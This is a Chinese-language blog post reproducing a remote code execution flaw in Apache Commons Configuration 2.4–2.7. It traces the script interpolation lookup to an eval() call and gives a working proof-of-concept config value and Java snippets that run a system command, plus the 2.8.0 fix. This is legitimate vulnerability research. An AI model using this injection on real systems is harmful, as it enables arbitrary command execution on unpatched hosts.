原文链接:Apache Commons Configuration 远程代码执行
简介 commons configuration可执行变量插值字符串,2.4~2.7版本默认的Lookup中包含任意代码执行的插值解析器。解析{prefix:name}字符串达到命令执行。 影响范围:2.4~2.7 修复版本:2.8.0 该组件和java配置文件相关,并支持插值字符串的形式,先介绍下commons configuration中的插值字符串。 以下为官网的示例: application.name = Killer App application.version = 1.6.2 application.title = ${application.name} ${application.version} 会将application.title解析为Killer App 1.6.2 复现 我们首先需要一个配置文件,这里以properties为例,随意写一个key,value如app.name=test Configurations configs = new Configurations(); try { PropertiesConfiguration properties = configs.properties(new File("my.properties")); String string = properties.getString("app.name"); } catch (ConfigurationException e) { e.printStackTrace(); } 接着去看一下这个字符串的值如何解析。进入debug模式一步一步跟,最后看到关键函数,org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve 我们要看看这个prefix可以获得哪些Lookup,进入该类,看到属性DEFAULT_PREFIX_LOOKUPS,接着看它如何被赋值,发现在静态代码块中有对该Map的赋值。 跟入DefaultLookups 发现有script的前缀Lookup,跟入ScriptStringLookup。 看到这里已经很明显了,lookup()解析字符串的逻辑,35行的eval()函数。而且这里逻辑特别简单,以:分割字符串,冒号前的字符串为Script的引擎名,后边为要执行的代码。 我们接着构造poc,将配置文件改为app.name=${script:javascript:java.lang.Runtime.getRuntime().exec("open -a Calculator")}执行。 其他快速复现 直接调用ScriptLookup DefaultLookups script = DefaultLookups.SCRIPT;Lookup lookup = script.getLookup();lookup.lookup(cmd); 构造Interpolator对象 InterpolatorSpecification spec = new InterpolatorSpecification.Builder() .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) .create();ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);String str = "${script:" + cmd + "}";interpolator.interpolate(str); ##修复 官方在2.8.0版本中默认不引用 dns,url,script,但是这些类依然存在库中。 结语 一个简单的漏洞复现过程,原理蛮简单的,就是调用js引擎的eval函数。 想复现的小伙伴可以参考下。
|